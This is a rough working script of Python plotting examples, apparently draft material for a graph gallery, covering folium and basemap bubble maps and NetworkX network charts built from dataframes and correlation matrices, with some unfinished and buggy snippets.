pd.factorize(data['homecontinent'])[0]\r\n\r\n# Add a point per position\r\nm.scatter(data['homelon'], data['homelat'], s=data['n']/10, alpha=0.4, c=data['labels_enc'], cmap=\"Set1\")\r\n\r\n# copyright and source data info\r\nplt.text( \r\n    1.03, 0,\r\n    'Classification method: natural breaks\\nContains Ordnance Survey data\\n$\\copyright$ Crown copyright and database right 2013\\nPlaque data from http://openplaques.org',\r\n    ha='right', va='bottom',\r\n    size=4,\r\n    color='#555555'\r\n    )\r\n\r\n#,    transform=ax.transAxes)\r\n\r\nplt.savefig('PNG/#315_Tweet_Surf_Bubble_map1.png')\r\n\r\nplt.show()\r\n\r\n\r\n# Add legend\r\nhttps://jonathanbright.wordpress.com/2014/08/12/point-size-legends-in-matplotlib-and-basemap-plots/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 312 Maps with markers with folium\r\n# install wih  #pip install folium\r\n\r\n\r\n# import the library\r\nimport folium\r\n\r\n# Make a data frame with dots to show on the map\r\ndata = pd.DataFrame({ \r\n        'lat':[-58, 2, 145, 30.32, -4.03, -73.57, 36.82, -38.5],\r\n        'lon':[-34, 49, -38, 59.93, 5.33, 45.52, -1.29, -12.97],\r\n        'name':['Buenos Aires', 'Paris', 'melbourne', 'St Petersbourg', 'Abidjan', 'Montreal', 'Nairobi', 'Salvador']\r\n        })\r\ndata\r\n\r\n\r\n\r\n# Make an empty map\r\nm = folium.Map(location=[-15.80, -47.88], tiles=\"Mapbox Bright\", zoom_start=4)\r\n   \r\n# I can add marker one by one on the map\r\nfor i in range(0,len(data)):\r\n    folium.Marker([data.iloc[i]['lon'], data.iloc[i]['lat']], popup=data.iloc[i]['name']).add_to(m)\r\n        \r\n# Save it as html\r\nm.save('PNG/CARTO/312_markers_on_folium_map1.html')\r\n\r\n  \r\n   \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 313 Maps with bubbles with folium\r\n# install wih  #pip install folium\r\n\r\n\r\n# import the library\r\nimport folium\r\n\r\n# Make a data frame with dots to show on the map\r\ndata = pd.DataFrame({ \r\n        'lat':[-58, 2, 145, 30.32, -4.03, -73.57, 36.82, -38.5],\r\n        'lon':[-34, 49, -38, 59.93, 5.33, 45.52, -1.29, -12.97],\r\n        'name':['Buenos Aires', 'Paris', 'melbourne', 'St Petersbourg', 'Abidjan', 'Montreal', 'Nairobi', 'Salvador'],\r\n        'value':[10,12,40,70,23,43,100,43]\r\n        })\r\ndata\r\n\r\n# Make an empty map\r\nm = folium.Map(location=[-15.80, -47.88], tiles=\"Mapbox Bright\", zoom_start=4)\r\n   \r\n# I can add marker one by one on the map\r\nfor i in range(0,len(data)):\r\n    folium.Circle(\r\n            location=[data.iloc[i]['lon'], data.iloc[i]['lat']], \r\n            popup=data.iloc[i]['name'],\r\n            radius=data.iloc[i]['value']*10000,\r\n            color='crimson',\r\n            fill=True,\r\n            fill_color='crimson'\r\n    ).add_to(m)\r\n        \r\n# Save it as html\r\nm.save('PNG/CARTO/313_bubble_on_folium_map1.html')\r\n\r\n\r\n#  clustered_marker = True)\r\n\r\n# Difference between Circle and CircleMarker.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |                      |\r\n |                      |\r\n |  SERIE #320 -> #330  NETWORK CHART\r\n |                      |\r\n |                      |\r\n  -----------------------------------------\r\n\r\n# Repo\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n\r\n# 2 main libraries: NetworkX and  graph-tool\r\n\r\n\r\n### GRAPH TOOL\r\n# Installation: https://git.skewed.de/count0/graph-tool/wikis/installation-instructions\r\n# Website: https://graph-tool.skewed.de\r\nimport sys\r\nsys.path.append('/usr/local/opt/graph-tool')\r\nfrom graph_tool.all import *\r\n--> Installation impossible relou.\r\n    \r\n# this is the result of csv.parse(file)\r\nimport graph_tool\r\ng = Graph(directed=False)\r\nlist_of_edges = [['A', 'B', 50], ['A','C',34], ['C','D',55], ['D','D',80], ['A','D',90], ['B','D',78]]\r\nvertices = {}\r\nfor e in list_of_edges:\r\n    if e[0] not in vertices:\r\n        vertices[e[0]] = True\r\n    if e[1] not in vertices:\r\n        vertices[e[1]] = True\r\nfor d in vertices:\r\n    vertices[d] = g.add_vertex()\r\nfor edge in list_of_edges:\r\n    g.add_edge(vertices[edge[0]], vertices[edge[1]])\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n\r\n### NETWORK X\r\nAller voir: http://networkx.github.io/documentation/latest/gallery.html\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 320 Network from Pandas dataframe\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Build a dataframe with your connections\r\ndf = pd.DataFrame({ 'from':['A', 'B', 'C','A'], 'to':['D', 'A', 'E','C']}) \r\ndf\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(df, 'from', 'to') \r\n\r\n# Plot it\r\nnx.draw(G, with_labels=True)\r\nplt.savefig('PNG/#320_Network_start_simple.png', dpi=96)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 321 Custom the appearance of your plot\r\n\r\n# Now that you know how to do a network, you can custom it!\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Build a dataframe with your connections\r\ndf = pd.DataFrame({ 'from':['A', 'B', 'C','A'], 'to':['D', 'A', 'E','C']}) \r\ndf\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(df, 'from', 'to') \r\n\r\n# Custom the nodes:\r\n#nx.draw(G, with_labels=True, node_size=1500, node_color=\"skyblue\", node_shape=\"s\", alpha=0.5, linewidths=40)\r\n#plt.savefig('PNG/#321_Network_custom_look1.png', dpi=96)\r\n# see xxx for the shapes.\r\n# linewidths = Line width of symbol border\r\n\r\n# Custom the edges:\r\n#nx.draw(G, with_labels=True, width=5, edge_color=\"skyblue\",  style=\"solid\")\r\n#plt.savefig('PNG/#321_Network_custom_look2.png', dpi=96)\r\n# See  xxx for the style\r\n\r\n# Custom the node labels:\r\n#nx.draw(G, with_labels=True, node_size=1500,  font_size=25, font_color=\"yellow\", font_weight=\"bold\")\r\n#plt.savefig('PNG/#321_Network_custom_look3.png', dpi=96)\r\n\r\n# All together we can do something fancy\r\nnx.draw(G, with_labels=True, node_size=1500, node_color=\"skyblue\", node_shape=\"o\", alpha=0.5, linewidths=4,  font_size=25, font_color=\"grey\", font_weight=\"bold\", width=2, edge_color=\"grey\")\r\nplt.savefig('PNG/#321_Network_custom_look4.png', dpi=96)\r\n\r\n     \r\n    \r\n       \r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 322 Change layout:\r\n    \r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Build a dataframe with your connections\r\ndf = pd.DataFrame({ 'from':['A', 'B', 'C','A','E','F','E','G','G','D','F'], 'to':['D', 'A', 'E','C','A','F','G','D','B','G','C']}) \r\ndf\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(df, 'from', 'to') \r\n\r\n# plot it\r\n# Other = shell_layout, \r\n# See more with help(nx.layout)\r\n#nx.draw(G, with_labels=True, node_size=1500, node_color=\"skyblue\", pos=nx.fruchterman_reingold_layout(G))\r\n#plt.title(\"fruchterman_reingold\")\r\n#plt.savefig('PNG/#322_Network_layout1.png', dpi=96)\r\n#nx.draw(G, with_labels=True, node_size=1500, node_color=\"skyblue\", pos=nx.circular_layout(G))\r\n#plt.title(\"circular\")\r\n#plt.savefig('PNG/#322_Network_layout2.png', dpi=96)\r\n#nx.draw(G, with_labels=True, node_size=1500, node_color=\"skyblue\", pos=nx.random_layout(G))\r\n#plt.title(\"random\")\r\n#plt.savefig('PNG/#322_Network_layout3.png', dpi=96)\r\n#nx.draw(G, with_labels=True, node_size=1500, node_color=\"skyblue\", pos=nx.spectral_layout(G))\r\n#plt.title(\"spectral\")\r\n#plt.savefig('PNG/#322_Network_layout4.png', dpi=96)\r\nnx.draw(G, with_labels=True, node_size=1500, node_color=\"skyblue\", pos=nx.spring_layout(G))\r\nplt.title(\"spring\")\r\nplt.savefig('PNG/#322_Network_layout5.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 323 Directed or not?\r\n\r\n# A network graph can be directed or undirected. If it is directed, there is a notion of flow between the 2 nodes. Like money goes from mister A to mister B. If it is undirected, there is just a link between the 2 nodes, like misterA end misterB are friend.\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# DIRECTED\r\n\r\n# Build a dataframe with your connections\r\n# This time a pair can appear 2 times, in one side or in the other!\r\ndf = pd.DataFrame({ 'from':['D', 'A', 'B', 'C','A'], 'to':['A', 'D', 'A', 'E','C']}) \r\ndf\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(df, 'from', 'to', create_using=nx.DiGraph() ) \r\n\r\n# Custom the nodes:\r\nplt.title(\"Directed\")\r\nnx.draw(G, with_labels=True, node_size=1500, alpha=0.3, arrows=True)\r\nplt.savefig('PNG/#323_Network_direction1.png', dpi=96)\r\n\r\n# UNDIRECTED\r\n\r\n# Build a dataframe with your connections\r\n# This time a pair can appear 2 times, in one side or in the other!\r\ndf = pd.DataFrame({ 'from':['D', 'A', 'B', 'C','A'], 'to':['A', 'D', 'A', 'E','C']}) \r\ndf\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(df, 'from', 'to', create_using=nx.Graph() ) \r\n\r\n# Custom the nodes:\r\nnx.draw(G, with_labels=True, node_size=1500, alpha=0.3, arrows=True)\r\nplt.title(\"UN-Directed\")\r\n\r\nplt.savefig('PNG/#323_Network_direction2.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 324 Map a color to each node\r\n\r\n# CONTINUOUS\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Build a dataframe with your connections\r\ndf = pd.DataFrame({ 'from':['A', 'B', 'C','A'], 'to':['D', 'A', 'E','C']}) \r\ndf\r\n\r\n# And a data frame with characteristics for your nodes\r\ncarac = pd.DataFrame({ 'ID':['A', 'B', 'C','D','E'], 'myvalue':['123','25','76','12','34']  }) \r\ncarac\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(df, 'from', 'to', create_using=nx.Graph() ) \r\n\r\n# The order of the node for networkX is the following order:\r\nG.nodes()\r\n# Thus, we cannot give directly the 'myvalue' column to netowrkX, we need to arrange the order!\r\n\r\n# Here is the tricky part.\r\n# I need to assign the good color to each node\r\ncarac= carac.set_index('ID')\r\ncarac=carac.reindex(G.nodes())\r\n\r\n# Custom the nodes:\r\nnx.draw(G, with_labels=True, node_color=carac['myvalue'], cmap=plt.cm.Blues, node_size=1500)\r\nplt.savefig('PNG/#324_Network_mapcolor1.png', dpi=96)\r\n\r\n\r\n# CATEGORICAL\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Build a dataframe with your connections\r\ndf = pd.DataFrame({ 'from':['A', 'B', 'C','A'], 'to':['D', 'A', 'E','C']}) \r\ndf\r\n\r\n# And a data frame with characteristics for your nodes\r\ncarac = pd.DataFrame({ 'ID':['A', 'B', 'C','D','E'], 'myvalue':['group1','group1','group2','group3','group3']  }) \r\ncarac\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(df, 'from', 'to', create_using=nx.Graph() ) \r\n\r\n# The order of the node for networkX is the following order:\r\nG.nodes()\r\n# Thus, we cannot give directly the 'myvalue' column to netowrkX, we need to arrange the order!\r\n\r\n# Here is the tricky part.\r\n# I need to assign the good color to each node\r\ncarac= carac.set_index('ID')\r\ncarac=carac.reindex(G.nodes())\r\n# And I need to transform my categorical column in a numerical value group1->1, group2->2...\r\ncarac['myvalue']=pd.Categorical(carac['myvalue'])\r\ncarac['myvalue'].cat.codes\r\n\r\n# Custom the nodes:\r\nnx.draw(G, with_labels=True, node_color=carac['myvalue'].cat.codes, cmap=plt.cm.Set1, node_size=1500)\r\nplt.savefig('PNG/#324_Network_mapcolor2.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 325 Map a color to each edge TO DO -- ERREUR\r\n\r\n# CONTINUOUS\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Build a dataframe with your connections\r\ndf = pd.DataFrame({ 'from':['A', 'B', 'C','A'], 'to':['D', 'A', 'E','C'], 'value':[1, 10, 5, 5]}) \r\ndf\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(df, 'from', 'to', create_using=nx.Graph() ) \r\n\r\n# Custom the nodes:\r\nnx.draw(G, with_labels=True, node_color='skyblue', node_size=1500, edge_color=df['value'], width=10.0, edge_cmap=plt.cm.Blues)\r\nplt.savefig('PNG/#325_Network_mapcolorttoedge1.png', dpi=96)\r\n\r\n# CATEGORICAL\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Build a dataframe with your connections\r\ndf = pd.DataFrame({ 'from':['A', 'B', 'C','A'], 'to':['D', 'A', 'E','C'], 'value':['typeA', 'typeA', 'typeB', 'typeB']}) \r\ndf\r\n\r\n# And I need to transform my categorical column in a numerical value typeA->1, typeB->2...\r\ndf['value']=pd.Categorical(df['value'])\r\ndf['value'].cat.codes\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(df, 'from', 'to', ['value']) \r\nG.nodes()\r\nG.edges()\r\n\r\n# Custom the nodes:\r\nnx.draw(G, with_labels=True, node_color='skyblue', node_size=1500, edge_color=df['value'].cat.codes, width=10.0, edge_cmap=plt.cm.Set2)\r\nplt.savefig('PNG/#325_Network_mapcolorttoedge2.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 326 Change background color\r\n\r\n# CONTINUOUS\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\n#my_dpi=96\r\n#fig = plt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Build a dataframe with your connections\r\ndf = pd.DataFrame({ 'from':['A', 'B', 'C','A'], 'to':['D', 'A', 'E','C'] }) \r\ndf\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(df, 'from', 'to', create_using=nx.Graph() ) \r\n\r\n# Custom the nodes:\r\nnx.draw(G, with_labels=True, node_color='skyblue', node_size=1500, edge_color='white')\r\nfig.set_facecolor(\"#00000F\")\r\n\r\nplt.savefig('PNG/#326_Network_background_color.png', dpi=96, facecolor=fig.get_facecolor() )\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 327 Network from correlation matrix.\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nfig = plt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# I build a data set: 10 individuals and 5 variables for each\r\nind1=[5,10,3,4,8,10,12,1,9,4]\r\nind5=[1,1,13,4,18,5,2,11,3,8]\r\ndf = pd.DataFrame({ 'A':ind1, 'B':ind1 + np.random.randint(10, size=(10)) , 'C':ind1 + np.random.randint(10, size=(10)) , 'D':ind1 + np.random.randint(5, size=(10)) , 'E':ind1 + np.random.randint(5, size=(10)), 'F':ind5, 'G':ind5 + np.random.randint(5, size=(10)) , 'H':ind5 + np.random.randint(5, size=(10)), 'I':ind5 + np.random.randint(5, size=(10)), 'J':ind5 + np.random.randint(5, size=(10))}) \r\ndf\r\n\r\n# Calculate the correlation between person. We have to transpose first, because the corr function calculate the pairwise correlations between columns.\r\n# We also need to remove the last column since it is a categorical value.\r\ncorr = df.corr()\r\ncorr\r\n\r\n# Transform it in a links data frame (3 columns only):\r\nlinks = corr.stack().reset_index()\r\nlinks.columns = ['var1', 'var2','value']\r\nlinks\r\n      \r\n        \r\n# Keep only correlation over a threshold and remove self correlation (cor(A,A)=1)\r\nlinks_filtered=links.loc[ (links['value'] > 0.8)  & (links['var1'] != links['var2']) ]\r\nlinks_filtered\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(links_filtered, 'var1', 'var2') \r\n\r\n# Custom the nodes:\r\nnx.draw(G, with_labels=True, node_color='orange', node_size=400, edge_color='black', linewidths=1,  font_size=15)\r\nplt.savefig('PNG/#327_Network_from_correlation.png', dpi=96)\r\n\r\n\r\n\r\n\r\n# --------- TO DO A PARTIR DE LA ----------\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 328 Network from connection adjacency matrix\r\n\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nfig = plt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# I build a data set: 10 cities, connected or not\r\ndf = pd.DataFrame(index=df.id.values, columns=df.id.values, data=(df.x1.values == df.x1.values[:,None]).astype(int))\r\n\r\ndf=pd.DataFrame( np.random.randint(2, size=(100)) , columns=['A','B'])\r\ndf        \r\n\r\ndf = pd.DataFrame(np.random.randint(10, 4), columns=['A', 'B', 'C', 'D'])     \r\n        \r\n\r\nind1=[5,10,3,4,8,10,12,1,9,4]\r\nind5=[1,1,13,4,18,5,2,11,3,8]\r\ndf = pd.DataFrame({ 'A':ind1, 'B':ind1 + np.random.randint(2, size=(10)) , 'C':ind1 + np.random.randint(10, size=(10)) , 'D':ind1 + np.random.randint(5, size=(10)) , 'E':ind1 + np.random.randint(5, size=(10)), 'F':ind5, 'G':ind5 + np.random.randint(5, size=(10)) , 'H':ind5 + np.random.randint(5, size=(10)), 'I':ind5 + np.random.randint(5, size=(10)), 'J':ind5 + np.random.randint(5, size=(10))}) \r\ndf\r\n\r\n\r\nnp.random.randint(2, size=(10))\r\n\r\n\r\n# Calculate the correlation between person. We have to transpose first, because the corr function calculate the pairwise correlations between columns.\r\n# We also need to remove the last column since it is a categorical value.\r\ncorr = df.corr()\r\ncorr\r\n\r\n# Transform it in a links data frame (3 columns only):\r\nlinks = corr.stack().reset_index()\r\nlinks.columns = ['var1', 'var2','value']\r\nlinks\r\n      \r\n        \r\n# Keep only correlation over a threshold and remove self correlation (cor(A,A)=1)\r\nlinks_filtered=links.loc[ (links['value'] > 0.8)  & (links['var1'] != links['var2']) ]\r\nlinks_filtered\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(links_filtered, 'var1', 'var2') \r\n\r\n# Custom the nodes:\r\nnx.draw(G, with_labels=True, node_color='skyblue', node_size=400, edge_color='black', linewidths=1,  font_size=15)\r\n\r\n\r\n#nx.draw(G, with_labels=True, node_size=1500, node_color=\"skyblue\", node_shape=\"o\", alpha=0.5, linewidths=4,  font_size=15, font_color=\"grey\", font_weight=\"bold\", width=2, edge_color=\"grey\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 327 Network from correlation matrix.\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nfig = plt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# bluid data set\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\ndf\r\n\r\n# Calculate the correlation between each car. We have to transpose first, because the corr function calculate the pairwise correlations between columns.\r\n# We also need to remove the last column since it is a categorical value.\r\ncorr = df.drop(['species'], axis=1).T.corr()\r\ncorr\r\n\r\n# Transform it in a links data frame (3 columns only):\r\nlinks = corr.stack().reset_index()\r\nlinks.columns = ['var1', 'var2','value']\r\nlinks\r\n      \r\n        \r\n# Keep only correlation over a threshold and remove self correlation (cor(A,A)=1)\r\nlinks_filtered=links.loc[ (links['value'] > 0.85)  & (links['var1'] != links['var2']) ]\r\nlinks_filtered\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(links_filtered, 'var1', 'var2') \r\n\r\n# Custom the nodes:\r\nnx.draw(G, with_labels=True, node_color='skyblue', node_size=200, edge_color='black', linewidths=1,  font_size=5)\r\n\r\n\r\nnx.draw(G, with_labels=True, node_size=1500, node_color=\"skyblue\", node_shape=\"o\", alpha=0.5, linewidths=4,  font_size=25, font_color=\"grey\", font_weight=\"bold\", width=2, edge_color=\"grey\")\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 327 Network from correlation matrix.\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nfig = plt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# bluid data set\r\nfrom ggplot import mtcars\r\ndf = mtcars.set_index('name')\r\ndel df.index.name\r\ndf\r\n\r\n# Calculate the correlation between each car. We have to transpose first, because the corr function calculate the pairwise correlations between columns\r\ncorr = df.T.corr()\r\ncorr\r\n\r\n# Transform it in a links data frame (3 columns only):\r\nlinks = corr.stack().reset_index()\r\nlinks.columns = ['var1', 'var2','value']\r\nlinks\r\n      \r\n        \r\n# Keep only correlation over a threshold and remove self correlation (cor(A,A)=1)\r\nlinks_filtered=links.loc[ (links['value'] > 0.999)  & (links['var1'] != links['var2']) ]\r\nlinks_filtered\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(links_filtered, 'var1', 'var2') \r\n\r\n# Custom the nodes:\r\nnx.draw(G, with_labels=True, node_color='skyblue', node_size=1500, edge_color='black', pos=nx.fruchterman_reingold_layout(G))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\npd.wide_to_long(corr, [\"A\", \"Z\"], i=\"yo\", j=\"yi\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# build a data set\r\nfrom string import ascii_letters\r\nrs = np.random.RandomState(33)\r\ndf = pd.DataFrame(data=rs.normal(size=(100, 26)),columns=list(ascii_letters[26:]))\r\ndf\r\n\r\n\r\n# Calculate the correlation between each letter:\r\ncorr = df.corr()\r\ncorr\r\n\r\n# Transform it in a links data frame:\r\nlinks = corr.stack().reset_index()\r\nlinks.columns = ['var1', 'var2','value']\r\nlinks\r\n      \r\n        \r\n# Keep only correlation over a threshold and remove self correlation (cor(A,A)=1)\r\nlinks_filtered=links.loc[ (links['value'] > 0.2)  & (links['var1'] != links['var2']) ]\r\nlinks_filtered\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(links_filtered, 'var1', 'var2') \r\n\r\n# Custom the nodes:\r\nnx.draw(G, with_labels=True, node_color='skyblue', node_size=1500, edge_color='black', pos=nx.fruchterman_reingold_layout(G))\r\n\r\n\r\n\r\npd.wide_to_long(corr, [\"A\", \"Z\"], i=\"yo\", j=\"yi\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 326 Colors depends number of connections\r\n\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Build a dataframe with your connections\r\ndf = pd.DataFrame({ 'from':['A', 'B', 'C','A'], 'to':['D', 'A', 'E','C']}) \r\ndf\r\n\r\n# Build your graph\r\nG=nx.from_pandas_dataframe(df, 'from', 'to', create_using=nx.Graph() ) \r\n\r\n# Calculate the number of connection per node:\r\nlength = nx.shortest_path_length(G)\r\nnodelist,hops = zip(*length.items())\r\nhops    \r\n# Custom the nodes:\r\nnx.draw(G, with_labels=True, node_color=hops, cmap=plt.cm.Blues, node_size=1500)\r\nplt.savefig('PNG/#326_Network_color_depends_number_neighbour.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nG = nx.path_graph(4)\r\nG.add_edge(5,6)\r\ngraphs = 